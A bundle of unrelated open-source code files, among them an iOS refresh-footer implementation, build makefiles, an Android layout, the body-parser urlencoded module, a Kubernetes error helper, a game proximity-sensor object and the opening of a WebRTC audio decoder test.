// 内容的高度
CGFloat contentHeight = self.scrollView.mj_contentH + self.ignoredScrollViewContentInsetBottom;
// 表格的高度
CGFloat scrollHeight = self.scrollView.mj_h - self.scrollViewOriginalInset.top - self.scrollViewOriginalInset.bottom + self.ignoredScrollViewContentInsetBottom;
// 设置位置和尺寸
self.mj_y = MAX(contentHeight, scrollHeight);
}
- (void)setState:(MJRefreshState)state
{
MJRefreshCheckState
// 根据状态来设置属性
if (state == MJRefreshStateNoMoreData || state == MJRefreshStateIdle) {
// 刷新完毕
if (MJRefreshStateRefreshing == oldState) {
[UIView animateWithDuration:MJRefreshSlowAnimationDuration animations:^{
self.scrollView.mj_insetB -= self.lastBottomDelta;
// 自动调整透明度
if (self.isAutomaticallyChangeAlpha) self.alpha = 0.0;
} completion:^(BOOL finished) {
self.pullingPercent = 0.0;
if (self.endRefreshingCompletionBlock) {
self.endRefreshingCompletionBlock();
}
}];
}
CGFloat deltaH = [self heightForContentBreakView];
// 刚刷新完毕
if (MJRefreshStateRefreshing == oldState && deltaH > 0 && self.scrollView.mj_totalDataCount != self.lastRefreshCount) {
self.scrollView.mj_offsetY = self.scrollView.mj_offsetY;
}
} else if (state == MJRefreshStateRefreshing) {
// 记录刷新前的数量
self.lastRefreshCount = self.scrollView.mj_totalDataCount;
[UIView animateWithDuration:MJRefreshFastAnimationDuration animations:^{
CGFloat bottom = self.mj_h + self.scrollViewOriginalInset.bottom;
CGFloat deltaH = [self heightForContentBreakView];
if (deltaH < 0) { // 如果内容高度小于view的高度
bottom -= deltaH;
}
self.lastBottomDelta = bottom - self.scrollView.mj_insetB;
self.scrollView.mj_insetB = bottom;
self.scrollView.mj_offsetY = [self happenOffsetY] + self.mj_h;
} completion:^(BOOL finished) {
[self executeRefreshingCallback];
}];
}
}
#pragma mark - 私有方法
#pragma mark 获得scrollView的内容 超出 view 的高度
- (CGFloat)heightForContentBreakView
{
CGFloat h = self.scrollView.frame.size.height - self.scrollViewOriginalInset.bottom - self.scrollViewOriginalInset.top;
return self.scrollView.contentSize.height - h;
}
#pragma mark 刚好看到上拉刷新控件时的contentOffset.y
- (CGFloat)happenOffsetY
{
CGFloat deltaH = [self heightForContentBreakView];
if (deltaH > 0) {
return deltaH - self.scrollViewOriginalInset.top;
} else {
return - self.scrollViewOriginalInset.top;
}
}
@end
| {
"pile_set_name": "Github"
} |
package controllers;
import play.mvc.Controller;
import play.mvc.Result;
import java.io.File;
public class JavaApplication extends Controller {
public static Result index() {
/*!*/
return null;
}
public static Result index2(long lng) {
/*!*/
return null;
}
public static Result index3(String str, int id) {
/*!*/
return null;
}
public static Result index4(File f, int id) {
/*!*/
return null;
}
}
| {
"pile_set_name": "Github"
} |
#
# Copyright (C) 2009-2011 OpenWrt.org
#
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#
include $(TOPDIR)/rules.mk
ARCH:=mips
BOARD:=octeon
BOARDNAME:=Cavium Networks Octeon
FEATURES:=squashfs jffs2 pci usb broken
CFLAGS:=-Os -pipe -march=octeon -fno-caller-saves
MAINTAINER:=Florian Fainelli <[email protected]>
LINUX_VERSION:=2.6.37.6
include $(INCLUDE_DIR)/target.mk
DEFAULT_PACKAGES += wpad-mini
define Target/Description
Build firmware images for Cavium Networks Octeon-based boards.
endef
$(eval $(call BuildTarget))
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/ll_group_card"
android:layout_width="73.5dp"
android:layout_height="wrap_content"
android:gravity="center_horizontal"
android:orientation="vertical">
<android.support.v7.widget.CardView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:card_view="http://schemas.android.com/apk/res-auto"
android:layout_width="73.5dp"
android:layout_height="73.5dp"
android:foreground="?attr/selectableItemBackground"
card_view:cardCornerRadius="2dp"
card_view:cardElevation="2dp"
card_view:cardPreventCornerOverlap="false"
card_view:cardUseCompatPadding="true">
<android.support.v4.widget.Space
android:layout_width="71dp"
android:layout_height="71dp"/>
</android.support.v7.widget.CardView>
<TextView
android:id="@+id/tv_group_card"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginBottom="17dp"
android:layout_marginTop="9dp"
android:textColor="#6B6B6B"
android:textSize="14sp"/>
</LinearLayout> | {
"pile_set_name": "Github"
} |
PROJECT_NAME := mitosis-receiver-basic
export OUTPUT_FILENAME
#MAKEFILE_NAME := $(CURDIR)/$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST))
MAKEFILE_NAME := $(MAKEFILE_LIST)
MAKEFILE_DIR := $(dir $(MAKEFILE_NAME) )
TEMPLATE_PATH = ../../../../components/toolchain/gcc
ifeq ($(OS),Windows_NT)
include $(TEMPLATE_PATH)/Makefile.windows
else
include $(TEMPLATE_PATH)/Makefile.posix
endif
MK := mkdir
RM := rm -rf
#echo suspend
ifeq ("$(VERBOSE)","1")
NO_ECHO :=
else
NO_ECHO := @
endif
# Toolchain commands
CC := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-gcc'
AS := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-as'
AR := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-ar' -r
LD := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-ld'
NM := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-nm'
OBJDUMP := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-objdump'
OBJCOPY := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-objcopy'
SIZE := '$(GNU_INSTALL_ROOT)/bin/$(GNU_PREFIX)-size'
#function for removing duplicates in a list
remduplicates = $(strip $(if $1,$(firstword $1) $(call remduplicates,$(filter-out $(firstword $1),$1))))
#source common to all targets
C_SOURCE_FILES += \
$(abspath ../../../../components/toolchain/system_nrf51.c) \
$(abspath ../../main.c) \
$(abspath ../../../../components/libraries/util/app_error.c) \
$(abspath ../../../../components/libraries/util/app_error_weak.c) \
$(abspath ../../../../components/libraries/fifo/app_fifo.c) \
$(abspath ../../../../components/libraries/util/app_util_platform.c) \
$(abspath ../../../../components/libraries/util/nrf_assert.c) \
$(abspath ../../../../components/libraries/uart/retarget.c) \
$(abspath ../../../../components/libraries/uart/app_uart_fifo.c) \
$(abspath ../../../../components/drivers_nrf/delay/nrf_delay.c) \
$(abspath ../../../../components/drivers_nrf/common/nrf_drv_common.c) \
$(abspath ../../../../components/drivers_nrf/uart/nrf_drv_uart.c) \
#assembly files common to all targets
ASM_SOURCE_FILES = $(abspath ../../../../components/toolchain/gcc/gcc_startup_nrf51.s)
#assembly files common to all targets
LIBS = $(abspath ../../../../components/properitary_rf/gzll/gcc/gzll_gcc.a)
#includes common to all targets
INC_PATHS += -I$(abspath ../../config)
INC_PATHS += -I$(abspath ../../../../components/drivers_nrf/nrf_soc_nosd)
INC_PATHS += -I$(abspath ../../../../components/device)
INC_PATHS += -I$(abspath ../../../../components/libraries/uart)
INC_PATHS += -I$(abspath ../../../../components/drivers_nrf/hal)
INC_PATHS += -I$(abspath ../../../../components/drivers_nrf/delay)
INC_PATHS += -I$(abspath ../../../../components/toolchain/CMSIS/Include)
INC_PATHS += -I$(abspath ../..)
INC_PATHS += -I$(abspath ../../../../components/libraries/util)
INC_PATHS += -I$(abspath ../../../../components/drivers_nrf/uart)
INC_PATHS += -I$(abspath ../../../../components/drivers_nrf/common)
INC_PATHS += -I$(abspath ../../../../components/toolchain)
INC_PATHS += -I$(abspath ../../../../components/drivers_nrf/config)
INC_PATHS += -I$(abspath ../../../../components/libraries/fifo)
INC_PATHS += -I$(abspath ../../../../components/toolchain/gcc)
INC_PATHS += -I$(abspath ../../../../components/properitary_rf/gzll)
OBJECT_DIRECTORY = _build
LISTING_DIRECTORY = $(OBJECT_DIRECTORY)
OUTPUT_BINARY_DIRECTORY = $(OBJECT_DIRECTORY)
# Sorting removes duplicates
BUILD_DIRECTORIES := $(sort $(OBJECT_DIRECTORY) $(OUTPUT_BINARY_DIRECTORY) $(LISTING_DIRECTORY) )
#flags common to all targets
CFLAGS = -DNRF51
CFLAGS += -DGAZELL_PRESENT
CFLAGS += -DBOARD_CUSTOM
CFLAGS += -DBSP_DEFINES_ONLY
CFLAGS += -mcpu=cortex-m0
CFLAGS += -mthumb -mabi=aapcs --std=gnu99
CFLAGS += -Wall -Werror -O3 -g3
CFLAGS += -Wno-unused-function
CFLAGS += -Wno-unused-variable
CFLAGS += -mfloat-abi=soft
# keep every function in separate section. This will allow linker to dump unused functions
CFLAGS += -ffunction-sections -fdata-sections -fno-strict-aliasing
CFLAGS += -fno-builtin --short-enums
# keep every function in separate section. This will allow linker to dump unused functions
LDFLAGS += -Xlinker -Map=$(LISTING_DIRECTORY)/$(OUTPUT_FILENAME).map
LDFLAGS += -mthumb -mabi=aapcs -L $(TEMPLATE_PATH) -T$(LINKER_SCRIPT)
LDFLAGS += -mcpu=cortex-m0
# let linker to dump unused sections
LDFLAGS += -Wl,--gc-sections
# use newlib in nano version
LDFLAGS += --specs=nano.specs -lc -lnosys
#suppress wchar errors
LDFLAGS += -Wl,--no-wchar-size-warning
# Assembler flags
ASMFLAGS += -x assembler-with-cpp
ASMFLAGS += -DNRF51
ASMFLAGS += -DBOARD_CUSTOM
ASMFLAGS += -DBSP_DEFINES_ONLY
#default target - first one defined
default: clean nrf51822_xxac
#building all targets
all: clean
$(NO_ECHO)$(MAKE) -f $(MAKEFILE_NAME) -C $(MAKEFILE_DIR) -e cleanobj
$(NO_ECHO)$(MAKE) -f $(MAKEFILE_NAME) -C $(MAKEFILE_DIR) -e nrf51822_xxac
#target for printing all targets
help:
@echo following targets are available:
@echo nrf51822_xxac
C_SOURCE_FILE_NAMES = $(notdir $(C_SOURCE_FILES))
C_PATHS = $(call remduplicates, $(dir $(C_SOURCE_FILES) ) )
C_OBJECTS = $(addprefix $(OBJECT_DIRECTORY)/, $(C_SOURCE_FILE_NAMES:.c=.o) )
ASM_SOURCE_FILE_NAMES = $(notdir $(ASM_SOURCE_FILES))
ASM_PATHS = $(call remduplicates, $(dir $(ASM_SOURCE_FILES) ))
ASM_OBJECTS = $(addprefix $(OBJECT_DIRECTORY)/, $(ASM_SOURCE_FILE_NAMES:.s=.o) )
vpath %.c $(C_PATHS)
vpath %.s $(ASM_PATHS)
OBJECTS = $(C_OBJECTS) $(ASM_OBJECTS)
nrf51822_xxac: OUTPUT_FILENAME := nrf51822_xxac
nrf51822_xxac: LINKER_SCRIPT=uart_gcc_nrf51.ld
nrf51822_xxac: $(BUILD_DIRECTORIES) $(OBJECTS)
@echo Linking target: $(OUTPUT_FILENAME).out
$(NO_ECHO)$(CC) $(LDFLAGS) $(OBJECTS) $(LIBS) -lm -o $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out
$(NO_ECHO)$(MAKE) -f $(MAKEFILE_NAME) -C $(MAKEFILE_DIR) -e finalize
## Create build directories
$(BUILD_DIRECTORIES):
echo $(MAKEFILE_NAME)
$(MK) $@
# Create objects from C SRC files
$(OBJECT_DIRECTORY)/%.o: %.c
@echo Compiling file: $(notdir $<)
$(NO_ECHO)$(CC) $(CFLAGS) $(INC_PATHS) -c -o $@ $<
# Assemble files
$(OBJECT_DIRECTORY)/%.o: %.s
@echo Assembly file: $(notdir $<)
$(NO_ECHO)$(CC) $(ASMFLAGS) $(INC_PATHS) -c -o $@ $<
# Link
$(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out: $(BUILD_DIRECTORIES) $(OBJECTS)
@echo Linking target: $(OUTPUT_FILENAME).out
$(NO_ECHO)$(CC) $(LDFLAGS) $(OBJECTS) $(LIBS) -lm -o $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out
## Create binary .bin file from the .out file
$(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).bin: $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out
@echo Preparing: $(OUTPUT_FILENAME).bin
$(NO_ECHO)$(OBJCOPY) -O binary $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).bin
## Create binary .hex file from the .out file
$(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).hex: $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out
@echo Preparing: $(OUTPUT_FILENAME).hex
$(NO_ECHO)$(OBJCOPY) -O ihex $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).hex
finalize: genbin genhex echosize
genbin:
@echo Preparing: $(OUTPUT_FILENAME).bin
$(NO_ECHO)$(OBJCOPY) -O binary $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).bin
## Create binary .hex file from the .out file
genhex:
@echo Preparing: $(OUTPUT_FILENAME).hex
$(NO_ECHO)$(OBJCOPY) -O ihex $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).hex
echosize:
-@echo ''
$(NO_ECHO)$(SIZE) $(OUTPUT_BINARY_DIRECTORY)/$(OUTPUT_FILENAME).out
-@echo ''
clean:
$(RM) $(BUILD_DIRECTORIES)
cleanobj:
$(RM) $(BUILD_DIRECTORIES)/*.o
flash: nrf51822_xxac
@echo Flashing: $(OUTPUT_BINARY_DIRECTORY)/$<.hex
nrfjprog --program $(OUTPUT_BINARY_DIRECTORY)/$<.hex -f nrf51 --chiperase
nrfjprog --reset -f nrf51
## Flash softdevice | {
"pile_set_name": "Github"
} |
/*!
* body-parser
* Copyright(c) 2014 Jonathan Ong
* Copyright(c) 2014-2015 Douglas Christopher Wilson
* MIT Licensed
*/
'use strict'
/**
* Module dependencies.
* @private
*/
var bytes = require('bytes')
var contentType = require('content-type')
var createError = require('http-errors')
var debug = require('debug')('body-parser:urlencoded')
var deprecate = require('depd')('body-parser')
var read = require('../read')
var typeis = require('type-is')
/**
* Module exports.
*/
module.exports = urlencoded
/**
* Cache of parser modules.
*/
var parsers = Object.create(null)
/**
* Create a middleware to parse urlencoded bodies.
*
* @param {object} [options]
* @return {function}
* @public
*/
function urlencoded(options) {
var opts = options || {}
// notice because option default will flip in next major
if (opts.extended === undefined) {
deprecate('undefined extended: provide extended option')
}
var extended = opts.extended !== false
var inflate = opts.inflate !== false
var limit = typeof opts.limit !== 'number'
? bytes.parse(opts.limit || '100kb')
: opts.limit
var type = opts.type || 'application/x-www-form-urlencoded'
var verify = opts.verify || false
if (verify !== false && typeof verify !== 'function') {
throw new TypeError('option verify must be function')
}
// create the appropriate query parser
var queryparse = extended
? extendedparser(opts)
: simpleparser(opts)
// create the appropriate type checking function
var shouldParse = typeof type !== 'function'
? typeChecker(type)
: type
function parse(body) {
return body.length
? queryparse(body)
: {}
}
return function urlencodedParser(req, res, next) {
if (req._body) {
return debug('body already parsed'), next()
}
req.body = req.body || {}
// skip requests without bodies
if (!typeis.hasBody(req)) {
return debug('skip empty body'), next()
}
debug('content-type %j', req.headers['content-type'])
// determine if request should be parsed
if (!shouldParse(req)) {
return debug('skip parsing'), next()
}
// assert charset
var charset = getCharset(req) || 'utf-8'
if (charset !== 'utf-8') {
debug('invalid charset')
next(createError(415, 'unsupported charset "' + charset.toUpperCase() + '"', {
charset: charset
}))
return
}
// read
read(req, res, next, parse, debug, {
debug: debug,
encoding: charset,
inflate: inflate,
limit: limit,
verify: verify
})
}
}
/**
* Get the extended query parser.
*
* @param {object} options
*/
function extendedparser(options) {
var parameterLimit = options.parameterLimit !== undefined
? options.parameterLimit
: 1000
var parse = parser('qs')
if (isNaN(parameterLimit) || parameterLimit < 1) {
throw new TypeError('option parameterLimit must be a positive number')
}
if (isFinite(parameterLimit)) {
parameterLimit = parameterLimit | 0
}
return function queryparse(body) {
var paramCount = parameterCount(body, parameterLimit)
if (paramCount === undefined) {
debug('too many parameters')
throw createError(413, 'too many parameters')
}
var arrayLimit = Math.max(100, paramCount)
debug('parse extended urlencoding')
return parse(body, {
allowDots: false,
allowPrototypes: true,
arrayLimit: arrayLimit,
depth: Infinity,
parameterLimit: parameterLimit
})
}
}
/**
* Get the charset of a request.
*
* @param {object} req
* @api private
*/
function getCharset(req) {
try {
return contentType.parse(req).parameters.charset.toLowerCase()
} catch (e) {
return undefined
}
}
/**
* Count the number of parameters, stopping once limit reached
*
* @param {string} body
* @param {number} limit
* @api private
*/
function parameterCount(body, limit) {
var count = 0
var index = 0
while ((index = body.indexOf('&', index)) !== -1) {
count++
index++
if (count === limit) {
return undefined
}
}
return count
}
/**
* Get parser for module name dynamically.
*
* @param {string} name
* @return {function}
* @api private
*/
function parser(name) {
var mod = parsers[name]
if (mod) {
return mod.parse
}
// load module
mod = parsers[name] = require(name)
return mod.parse
}
/**
* Get the simple query parser.
*
* @param {object} options
*/
function simpleparser(options) {
var parameterLimit = options.parameterLimit !== undefined
? options.parameterLimit
: 1000
var parse = parser('querystring')
if (isNaN(parameterLimit) || parameterLimit < 1) {
throw new TypeError('option parameterLimit must be a positive number')
}
if (isFinite(parameterLimit)) {
parameterLimit = parameterLimit | 0
}
return function queryparse(body) {
var paramCount = parameterCount(body, parameterLimit)
if (paramCount === undefined) {
debug('too many parameters')
throw createError(413, 'too many parameters')
}
debug('parse urlencoding')
return parse(body, undefined, undefined, {maxKeys: parameterLimit})
}
}
/**
* Get the simple type checker.
*
* @param {string} type
* @return {function}
*/
function typeChecker(type) {
return function checkType(req) {
return Boolean(typeis(req, type))
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package responsewriters
import (
"fmt"
"net/http"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/util/runtime"
"k8s.io/apiserver/pkg/storage"
)
// statusError is an object that can be converted into an metav1.Status
type statusError interface {
Status() metav1.Status
}
// ErrorToAPIStatus converts an error to an metav1.Status object.
func ErrorToAPIStatus(err error) *metav1.Status {
switch t := err.(type) {
case statusError:
status := t.Status()
if len(status.Status) == 0 {
status.Status = metav1.StatusFailure
}
if status.Code == 0 {
switch status.Status {
case metav1.StatusSuccess:
status.Code = http.StatusOK
case metav1.StatusFailure:
status.Code = http.StatusInternalServerError
}
}
status.Kind = "Status"
status.APIVersion = "v1"
//TODO: check for invalid responses
return &status
default:
status := http.StatusInternalServerError
switch {
//TODO: replace me with NewConflictErr
case storage.IsConflict(err):
status = http.StatusConflict
}
// Log errors that were not converted to an error status
// by REST storage - these typically indicate programmer
// error by not using pkg/api/errors, or unexpected failure
// cases.
runtime.HandleError(fmt.Errorf("apiserver received an error that is not an metav1.Status: %v", err))
return &metav1.Status{
TypeMeta: metav1.TypeMeta{
Kind: "Status",
APIVersion: "v1",
},
Status: metav1.StatusFailure,
Code: int32(status),
Reason: metav1.StatusReasonUnknown,
Message: err.Error(),
}
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright (C) GridGain Systems. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/* _________ _____ __________________ _____
* __ ____/___________(_)______ /__ ____/______ ____(_)_______
* _ / __ __ ___/__ / _ __ / _ / __ _ __ `/__ / __ __ \
* / /_/ / _ / _ / / /_/ / / /_/ / / /_/ / _ / _ / / /
* \____/ /_/ /_/ \_,__/ \____/ \__,_/ /_/ /_/ /_/
*/
package org.gridgain.grid.util.typedef;
import org.gridgain.grid.util.lang.*;
/**
* Defines {@code alias} for {@link GridClosure3} by extending it. Since Java doesn't provide type aliases
* (like Scala, for example) we resort to these types of measures. This is intended to provide for more
* concise code in cases when readability won't be sacrificed. For more information see {@link GridClosure3}.
*
* @param <E1> Type of the first free variable, i.e. the element the closure is called or closed on.
* @param <E2> Type of the second free variable, i.e. the element the closure is called or closed on.
* @param <E3> Type of the third free variable, i.e. the element the closure is called or closed on.
* @param <R> Type of the closure's return value.
* @see GridFunc
* @see GridClosure3
*
*/
public interface C3<E1, E2, E3, R> extends GridClosure3<E1, E2, E3, R> { /* No-op. */ }
| {
"pile_set_name": "Github"
} |
/obj/item/device/assembly/prox_sensor
name = "proximity sensor"
desc = "Used for scanning and alerting when someone enters a certain proximity."
icon_state = "prox"
origin_tech = list(TECH_MAGNET = 1)
matter = list(MATERIAL_STEEL = 800, MATERIAL_GLASS = 200, MATERIAL_WASTE = 50)
movable_flags = MOVABLE_FLAG_PROXMOVE
wires = WIRE_PULSE
secured = 0
var/scanning = 0
var/timing = 0
var/time = 10
var/range = 2
/obj/item/device/assembly/prox_sensor/proc/toggle_scan()
/obj/item/device/assembly/prox_sensor/proc/sense()
/obj/item/device/assembly/prox_sensor/activate()
if(!..()) return 0//Cooldown check
timing = !timing
update_icon()
return 0
/obj/item/device/assembly/prox_sensor/toggle_secure()
secured = !secured
if(secured)
START_PROCESSING(SSobj, src)
else
scanning = 0
timing = 0
STOP_PROCESSING(SSobj, src)
update_icon()
return secured
/obj/item/device/assembly/prox_sensor/HasProximity(atom/movable/AM as mob|obj)
if(!istype(AM))
log_debug("DEBUG: HasProximity called with [AM] on [src] ([usr]).")
return
if (istype(AM, /obj/effect/beam)) return
if (AM.move_speed < 12) sense()
return
/obj/item/device/assembly/prox_sensor/sense()
var/turf/mainloc = get_turf(src)
// if(scanning && cooldown <= 0)
// mainloc.visible_message("\icon[src] *boop* *boop*", "*boop* *boop*")
if((!holder && !secured)||(!scanning)||(cooldown > 0)) return 0
pulse(0)
if(!holder)
mainloc.visible_message("\icon[src] *beep* *beep*", "*beep* *beep*")
cooldown = 2
spawn(10)
process_cooldown()
return
/obj/item/device/assembly/prox_sensor/Process()
if(scanning)
var/turf/mainloc = get_turf(src)
for(var/mob/living/A in range(range,mainloc))
if (A.move_speed < 12)
sense()
if(timing && (time >= 0))
time--
if(timing && time <= 0)
timing = 0
toggle_scan()
time = 10
return
/obj/item/device/assembly/prox_sensor/dropped()
spawn(0)
sense()
return
return
/obj/item/device/assembly/prox_sensor/toggle_scan()
if(!secured) return 0
scanning = !scanning
update_icon()
return
/obj/item/device/assembly/prox_sensor/on_update_icon()
overlays.Cut()
attached_overlays = list()
if(timing)
overlays += "prox_timing"
attached_overlays += "prox_timing"
if(scanning)
overlays += "prox_scanning"
attached_overlays += "prox_scanning"
if(holder)
holder.update_icon()
if(holder && istype(holder.loc,/obj/item/weapon/grenade/chem_grenade))
var/obj/item/weapon/grenade/chem_grenade/grenade = holder.loc
grenade.primed(scanning)
return
/obj/item/device/assembly/prox_sensor/Move()
..()
sense()
return
/obj/item/device/assembly/prox_sensor/interact(mob/user as mob)//TODO: Change this to the wires thingy
if(!secured)
user.show_message("<span class='warning'>The [name] is unsecured!</span>")
return 0
var/second = time % 60
var/minute = (time - second) / 60
var/dat = text("<TT><B>Proximity Sensor</B>\n[] []:[]\n<A href='?src=\ref[];tp=-30'>-</A> <A href='?src=\ref[];tp=-1'>-</A> <A href='?src=\ref[];tp=1'>+</A> <A href='?src=\ref[];tp=30'>+</A>\n</TT>", (timing ? text("<A href='?src=\ref[];time=0'>Arming</A>", src) : text("<A href='?src=\ref[];time=1'>Not Arming</A>", src)), minute, second, src, src, src, src)
dat += text("<BR>Range: <A href='?src=\ref[];range=-1'>-</A> [] <A href='?src=\ref[];range=1'>+</A>", src, range, src)
dat += "<BR><A href='?src=\ref[src];scanning=1'>[scanning?"Armed":"Unarmed"]</A> (Movement sensor active when armed!)"
dat += "<BR><BR><A href='?src=\ref[src];refresh=1'>Refresh</A>"
dat += "<BR><BR><A href='?src=\ref[src];close=1'>Close</A>"
show_browser(user, dat, "window=prox")
onclose(user, "prox")
return
/obj/item/device/assembly/prox_sensor/Topic(href, href_list, state = GLOB.physical_state)
if((. = ..()))
close_browser(usr, "window=prox")
onclose(usr, "prox")
return
if(href_list["scanning"])
toggle_scan()
if(href_list["time"])
timing = text2num(href_list["time"])
update_icon()
if(href_list["tp"])
var/tp = text2num(href_list["tp"])
time += tp
time = min(max(round(time), 0), 600)
if(href_list["range"])
var/r = text2num(href_list["range"])
range += r
range = min(max(range, 1), 5)
if(href_list["close"])
close_browser(usr, "window=prox")
return
if(usr)
attack_self(usr)
return | {
"pile_set_name": "Github"
} |
no-such-struct: vnet_fragmentation
no-such-struct: tcp_resources
bad-field-number: mac_addr_t: syz=2 kernel=1
bad-field-size: mac_addr_t.a0/mac_addr_value: syz=5 kernel=6
no-such-struct: mac_addr_link_local
no-such-struct: vlan_tag_ad
no-such-struct: vlan_tag_q
no-such-struct: eth2_packet_t
no-such-struct: arp_packet_t
no-such-struct: ipx_network
no-such-struct: ipx_node
no-such-struct: ipx_addr
no-such-struct: ipv4_addr_t
no-such-struct: ipv4_addr_initdev
no-such-struct: ipv4_addr
no-such-struct: ipv4_option_end
no-such-struct: ipv4_option_noop
no-such-struct: ipv4_option_timestamp_timestamp
no-such-struct: ipv4_option_ra
no-such-struct: ipv6_addr_empty
no-such-struct: ipv6_addr_t
no-such-struct: ipv6_addr_initdev
no-such-struct: ipv6_addr_loopback
no-such-struct: ipv6_addr_ipv4
no-such-struct: ipv6_addr_multicast1
no-such-struct: ipv6_addr_multicast2
no-such-struct: ipv6_addr_private
no-such-struct: ipv6_addr
no-such-struct: ipv6_fragment_ext_header
no-such-struct: ipv6_tlv_pad1
no-such-struct: ipv6_tlv_ra
no-such-struct: ipv6_tlv_jumbo
no-such-struct: ipv6_tlv_hao
no-such-struct: ipv6_tlv_enc_lim
no-such-struct: tcp_nop_option
no-such-struct: tcp_eol_option
no-such-struct: tcp_mss_option
no-such-struct: tcp_window_option
no-such-struct: tcp_sack_perm_option
no-such-struct: tcp_timestamp_option
no-such-struct: tcp_md5sig_option
no-such-struct: tcp_exp_smc_option
bad-bitfield: guehdr.hlen/: size/offset: syz=5/0 kernel=0/0
bad-field-size: guehdr.hlen/: syz=1 kernel=4
no-such-struct: gre_packet_erspan
no-such-struct: erspan_md1
no-such-struct: erspan_md1_msg
bad-bitfield: erspan_md2.hwid: size/offset: syz=1/4 kernel=4/4
no-such-struct: erspan_md2_msg
no-such-struct: icmp_timestamp_packet
no-such-struct: icmp_timestamp_reply_packet
no-such-struct: icmp_info_request_packet
no-such-struct: icmp_info_reply_packet
no-such-struct: icmp_address_request_packet
no-such-struct: icmp_address_reply_packet
no-such-struct: icmpv6_mld_packet
compiler: len target grec refer to an array with variable-size elements (do you mean bytesize?)
no-such-struct: dccp_header
bad-field-number: mpls_label: syz=4 kernel=1
bad-bitfield: mpls_label.label/entry: size/offset: syz=20/0 kernel=0/0
no-such-struct: tipc_payload_hdr
no-such-struct: tipc_payload_hdr6
no-such-struct: tipc_payload_hdr8
no-such-struct: tipc_payload_hdr10
no-such-struct: tipc_payload_hdr11
no-such-struct: tipc_name_distributor_hdr
no-such-struct: tipc_name_publication
| {
"pile_set_name": "Github"
} |
from . import submodule
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
// Test to verify correct operation when using the decoder-internal PLC.
#include <algorithm>
#include <memory>
#include <utility>
#include <vector>
#include "absl/types/optional.h"
#include "modules/audio_coding/codecs/pcm16b/audio_encoder_pcm16b.h"
#include "modules/audio_coding/neteq/tools/audio_checksum.h"
#include "modules/audio_coding/neteq/tools/audio_sink.h"
#include "modules/audio_coding/neteq/tools/encode_neteq_input.h"
#include "modules/audio_coding/neteq/tools/fake_decode_from_file.h"
#include "modules/audio_coding/neteq/tools/input_audio_file.h"
#include "modules/audio_coding/neteq/tools/neteq_test.h"
#include "rtc_base/numerics/safe_conversions.h"
#include "rtc_base/ref_counted_object.h"
#include "test/audio_decoder_proxy_factory.h"
#include "test/gtest.h"
#include "test/testsupport/file_utils.h"
namespace webrtc {
namespace test {
namespace {
// This class implements a fake decoder. The decoder will read audio from a file
// and present as output, both for regular decoding and for PLC.
class AudioDecoderPlc : public AudioDecoder {
public:
AudioDecoderPlc(std::unique_ptr<InputAudioFile> input, int sample_rate_hz)
: input_(std::move(input)), sample_rate_hz_(sample_rate_hz) {}
void Reset() override {}
int SampleRateHz() const override { return sample_rate_hz_; }
size_t Channels() const override { return 1; }
int DecodeInternal(const uint8_t* /*encoded*/,
size_t encoded_len,
int sample_rate_hz,
int16_t* decoded,
SpeechType* speech_type) override {
RTC_CHECK_EQ(encoded_len / 2, 20 * sample_rate_hz_ / 1000);
RTC_CHECK_EQ(sample_rate_hz, sample_rate_hz_);
RTC_CHECK(decoded);
RTC_CHECK(speech_type);
RTC_CHECK(input_->Read(encoded_len / 2, decoded));
*speech_type = kSpeech;
last_was_plc_ = false;
